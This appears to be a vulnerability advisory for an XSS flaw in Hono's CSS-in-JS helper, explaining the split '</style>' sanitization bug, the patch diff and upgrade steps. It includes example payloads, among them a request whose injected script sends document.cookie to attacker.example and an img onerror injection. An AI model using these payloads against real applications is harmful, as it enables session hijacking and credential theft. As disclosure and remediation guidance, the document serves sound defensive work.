CVE-2026-126359: Cross-Site Scripting via Split Closing Style Tag in Hono CSS Helper

Hono is a JavaScript and TypeScript web application framework designed for edge runtimes, including Cloudflare Workers, Fastly Compute, Deno, Bun, and Node.js. Beyond HTTP routing and middleware management, Hono includes built-in JSX support for Server-Side Rendering (SSR) and a dedicated CSS-in-JS utility located in the hono/css module. Developers use the css tagged template literal helper to define scoped stylesheets dynamically within server-rendered components, which are subsequently collected and injected into the HTML document via the <Style /> component.

In HTML5 parsing specifications, the <style> tag is defined as a RAWTEXT element. Unlike standard HTML elements where child tags and character references are parsed into DOM nodes, the HTML parser treats everything inside a <style> block as raw character data until it encounters the specific closing character sequence </style> (matched case-insensitively). Because HTML entity encoding (such as converting < to <) does not function as an escaping mechanism inside RAWTEXT elements, CSS-in-JS libraries must explicitly neutralize any </ sequences inside style definitions to prevent premature termination of the <style> element.

CVE-2026-126359 (tracked also as GHSA-3gg2-335m-rxc6) is a Cross-Site Scripting (XSS) vulnerability classified under CWE-79 in Hono versions >= 3.12.0 and < 4.13.16. The vulnerability stems from a flaw in how the buildStyleString() function inside src/helper/css/common.ts sanitizes interpolated values. Because sanitization is applied to each interpolated string variable in isolation prior to string concatenation and CSS minification, an attacker can split the < and /style> tokens across separate segments.

When the server renders the resulting stylesheet into an HTML response via <Style />, the split characters are joined into a literal </style> tag. The browser exits the CSS parsing context early and interprets the remainder of the attacker's payload as standard HTML markup, leading to arbitrary JavaScript execution in the context of the user's browser session.

The root cause of CVE-2026-126359 is a classic order-of-operations flaw: performing context-dependent pattern sanitization on individual fragments before assembling and transforming the final composite string. In src/helper/css/common.ts, the buildStyleString() function iterates through the static strings array of a tagged template literal and interleaves them with the evaluated dynamic values.

In versions prior to 4.13.16, when buildStyleString() encountered a dynamic string value, it executed a regular expression test and replacement designed to escape quotes, backslashes, and forward slashes that immediately followed a less-than sign:

if (typeof value === 'string') {
  if (/([\\"'\/])/.test(value)) {
    styleString += value.replace(/([\\"']|(?<=<)\/)/g, '\\$1')
  } else {
    styleString += value
  }
}

The regular expression (?<=<)\/ utilizes a positive lookbehind assertion that matches a forward slash / only if it is immediately preceded by <. Because .replace() is invoked solely on the isolated value variable before it is appended to styleString, the regular expression engine has no visibility into the characters at the end of styleString or the characters that will follow after CSS minification.

This design fails across four distinct boundary conditions:

1. Template-to-Interpolation Boundary: If a static template literal ends with < (e.g., csscontent: '<${userInput}';``) and userInput begins with /style>, the < resides in the static template array while / is at index 0 of value. The lookbehind assertion (?<=<) evaluates against the start of value, finds no preceding <, and leaves / unescaped.
2. Adjacent Dynamic Interpolations: If two dynamic strings are placed back-to-back (e.g., csscontent: '$$';) or passed as elements of an array (e.g., `css`content: '${['<', '/style>']}';), each element is sanitized in a separate loop iteration. Neither string contains the contiguous </ sequence during its individual check.
3. CSS Comment Stripping via Minification: At the end of buildStyleString(), the assembled styleString is passed to minify(styleString). The minify() function removes CSS comments (/* ... */). If a static template contains </**/ followed by a dynamic value starting with /style>, or if a single dynamic value contains </*comment*/style>, the per-value lookbehind fails because * precedes /. Subsequently, minify() strips /**/, bringing < and / together into an unescaped </style> sequence.

The vulnerability was remediated in commit 15bbd96ad1b62a0b189db4fd8dc7bf8ef280c513 (released in Hono v4.13.16). The patch modifies src/helper/css/common.ts to decouple string-quote escaping from HTML closing-tag neutralization, relocating the </ escaping to the final return statement of buildStyleString().

diff --git a/src/helper/css/common.ts b/src/helper/css/common.ts
index f32ccb27e0..fee9be8100 100644
--- a/src/helper/css/common.ts
+++ b/src/helper/css/common.ts
@@ -165,11 +165,7 @@ export const buildStyleString = (
         continue
       }
       if (typeof value === 'string') {
-        if (/([\\"'\/])/.test(value)) {
-          styleString += value.replace(/([\\"']|(?<=<)\/)/g, '\\$1')
-        } else {
-          styleString += value
-        }
+        styleString += value.replace(/[\\"']/g, '\\$&')
       } else if (typeof value === 'number') {
         styleString += value
       } else if ((value as CssEscapedString)[CSS_ESCAPED]) {
@@ -199,7 +195,8 @@ export const buildStyleString = (
     }
   }
 
-  return [label, minify(styleString), selectors, externalClassNames]
+  // Minification can join `<` and `/` across template parts or removed comments.
+  return [label, minify(styleString).replace(/<\//g, '<\\/'), selectors, externalClassNames]
 }

In the updated implementation, per-value string escaping is simplified to value.replace(/[\\"']/g, '\\$&'). This ensures that interpolated strings cannot break out of CSS string literals (via unescaped single or double quotes) or neutralize subsequent escape characters (via trailing backslashes), which remains strictly a per-token concern.

Once all template substrings, interpolated values, nested CSS fragments, and array values are concatenated into styleString, the function invokes minify(styleString). Immediately following minification, .replace(/<\//g, '<\\/') is executed across the entire finalized CSS string.

> [!NOTE] > In CSS syntax, a backslash followed by a forward slash (\/) is interpreted as an escaped / character, which evaluates identically to a literal / inside CSS properties and content strings. However, to the browser's HTML RAWTEXT parser, the insertion of the backslash breaks the literal </style> byte sequence, preventing the parser from closing the <style> element.

Fix Completeness Assessment

Moving the .replace(/<\//g, '<\\/') call to the post-minification output of buildStyleString() completely resolves all cross-boundary concatenation and comment-stripping bypasses. Because minify() is the final transformation step before the string is stored in the CssEscapedString object and eventually rendered by <Style />, no subsequent string manipulation removes the injected backslash. Furthermore, escaping every instance of </ regardless of what follows ensures that variations such as </style >, </STYLE>, or </style\t> are uniformly neutralized at the </ prefix.

Exploiting CVE-2026-126359 requires an application endpoint that uses Hono's css helper with untrusted user input and renders the output using the <Style /> component. While the AC:H (Attack Complexity: High) metric in the CVSS vector reflects that the application must satisfy specific coding patterns, there are multiple ways a developer may inadvertently introduce this condition.

Scenario 1: Prefixing Dynamic Input with < in Template Literals

A developer may construct a decorative CSS pseudo-element (::before or ::after) that wraps a user-supplied label or tag in angle brackets:

import { Hono } from 'hono'
import { css, Style } from 'hono/css'
 
const app = new Hono()
 
app.get('/badge', (c) => {
  const label = c.req.query('label') ?? 'user'
 
  const badgeStyle = css`
    &::before {
      content: '<${label}>';
    }
  `
 
  return c.html(
    <html>
      <head>
        <Style />
      </head>
      <body>
        <span class={badgeStyle}>Account</span>
      </body>
    </html>
  )
})

To exploit this endpoint, an attacker crafts a request supplying a payload that starts with /style>:

GET /badge?label=/style><script>fetch('https://attacker.example/steal?c='+document.cookie)</script> HTTP/1.1
Host: vulnerable-app.example

When Hono processes this request on versions < 4.13.16, the per-value sanitizer inspects /style><script>.... Because the < character is located in the static template string (content: '<), the regex (?<=<)\/ does not match. The resulting HTML emitted to the client is:

<html>
  <head>
    <style id="hono-css">.css-3142110215::before{content:'</style><script>fetch(\'https://attacker.example/steal?c=\'+document.cookie)</script>>'}</style>
  </head>
  <body>
    <span class="css-3142110215">Account</span>
  </body>
</html>

Scenario 2: Comment Stripping Bypass within a Single Value or Template

Even if the < character is not explicitly placed in the template literal by the developer, an attacker or complex template structure can leverage CSS comments. For example, if a template places a CSS comment after < or if two controllable values are adjacent:

// Adjacent interpolations controlled via query parameters or state properties
const prefix = c.req.query('prefix') // Attacker sends: "<"
const suffix = c.req.query('suffix') // Attacker sends: "/style><img src=x onerror=alert(1)>"
 
const dynamicClass = css`
  --custom-var: '${prefix}${suffix}';
`

In both scenarios, once the victim's browser parses the </style> sequence inside <head>, it immediately closes the stylesheet and executes the injected <script> or <img onerror=...> payload in the origin of the vulnerable application.

The primary security impact of CVE-2026-126359 is reflected or stored Cross-Site Scripting (XSS), depending on whether the interpolated CSS values originate from request parameters or persisted database records (such as user profile themes or custom display names).

Once arbitrary JavaScript executes within the victim's browser session, the attacker operates with the full privileges of the authenticated user within the web origin. Concrete consequences include:

• Session Hijacking and Credential Theft: Reading non-HttpOnly session cookies, localStorage bearer tokens, or sensitive data rendered within the DOM (MITRE ATT&CK T1185).
• Unauthorized Actions: Performing state-changing HTTP requests (CSRF bypass) on behalf of the user via fetch() or XMLHttpRequest from within the trusted origin.
• DOM Manipulation: Modifying page content to present phishing forms or fraudulent data to the user.

CVSS v3.1 & Threat Intelligence Analysis

GitHub and the NVD scored this vulnerability at 3.4 (Low) with the vector CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N:

• Attack Vector (AV:N): Exploitable remotely over standard HTTP/HTTPS connections.
• Attack Complexity (AC:H): Exploitation depends on specific application coding patterns where dynamic input is interpolated immediately following a < character, adjacent to another controllable interpolation, or following a CSS comment.
• Privileges Required (PR:N) & User Interaction (UI:R): No authentication is required to craft the malicious link, though a victim user must navigate to the crafted URL or view the affected page.
• Scope (S:C): The vulnerability occurs within the server-side CSS generation component (hono/css) but impacts the client-side browser execution environment.
• Confidentiality (C:L), Integrity (I:N), Availability (A:N): While the official advisory vector sets Integrity to None, security engineers should note that full JavaScript execution in a browser typically impacts both confidentiality and client-side integrity.

Current threat intelligence indicates an EPSS score of 0.00262 (18.11th percentile), and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.

The definitive remediation for CVE-2026-126359 is to upgrade the hono package to version 4.13.16 or later. The patch in 4.13.16 enforces global post-minification escaping of all </ sequences in hono/css without requiring any changes to application code or API usage.

Package Upgrade Commands

Update hono using your runtime's package manager:

# npm
npm install hono@^4.13.16
 
# Bun
bun add hono@^4.13.16
 
# pnpm
pnpm update hono
 
# Yarn
yarn upgrade hono@^4.13.16

For Deno users importing Hono via JSR or npm specifiers in deno.json, update the version constraint to ^4.13.16:

{
  "imports": {
    "hono": "jsr:@hono/hono@^4.13.16"
  }
}

Temporary Workarounds

If an immediate upgrade to v4.13.16 cannot be deployed, development teams should audit all occurrences of the css helper across their codebase and apply the following mitigations:

1. Sanitize Forward Slashes in Dynamic Inputs: Before interpolating any untrusted string into a css tagged template literal, escape all forward slashes or < characters manually:

   const sanitizeForCss = (input: string): string => {
     return input.replace(/\//g, '\\/').replace(/</g, '\\3c ')
   }
    
   const safeClass = css`
     content: '<${sanitizeForCss(untrustedInput)}>';
   `

2. Use CSS Variables via Inline style Attributes: Instead of interpolating user-controlled strings directly into hono/css tagged templates, pass dynamic values via standard JSX style attributes as CSS custom properties (--user-var), which are rendered inside HTML attribute contexts and automatically HTML-entity encoded by Hono's JSX renderer.